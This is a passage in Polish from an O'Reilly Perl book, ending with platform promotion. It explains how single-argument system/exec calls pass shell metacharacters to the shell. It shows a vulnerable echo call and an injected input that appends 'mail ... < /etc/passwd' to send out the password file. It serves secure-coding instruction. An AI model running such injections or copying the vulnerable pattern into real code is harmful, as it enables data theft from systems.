Listowe postacie wywołań system i exec

Jeśli używam wywołań system lub exec z pojedynczym argumentem, Perl szuka w nim metaznaków powłoki. Jeśli znajdzie metaznaki, przekazuje argument do powłoki w celu interpolacji. Wiedząc to, mogę skonstruować polecenie powłoki, które będzie wykonywać jakąś niepożądaną operację. Może mam w programie pozornie nieszkodliwe wywołanie systemowe, na przykład echo:

system( "/bin/echo $message" );

Jako użytkownik programu mogę spreparować takie dane wejściowe, że zmienna $message będzie robić więcej niż tylko dostarczać argument poleceniu echo. Poniższy łańcuch kończy polecenie echo za pomocą średnika i rozpoczyna polecenie mail, które używa przekierowania wejścia:

'Witaj, świecie!'; mail joe@example.com < /etc/passwd ...

Get Perl. Mistrzostwo w programowaniu now with the O’Reilly learning platform.

O’Reilly members experience books, live events, courses curated by job role, and more from O’Reilly and nearly 200 top publishers.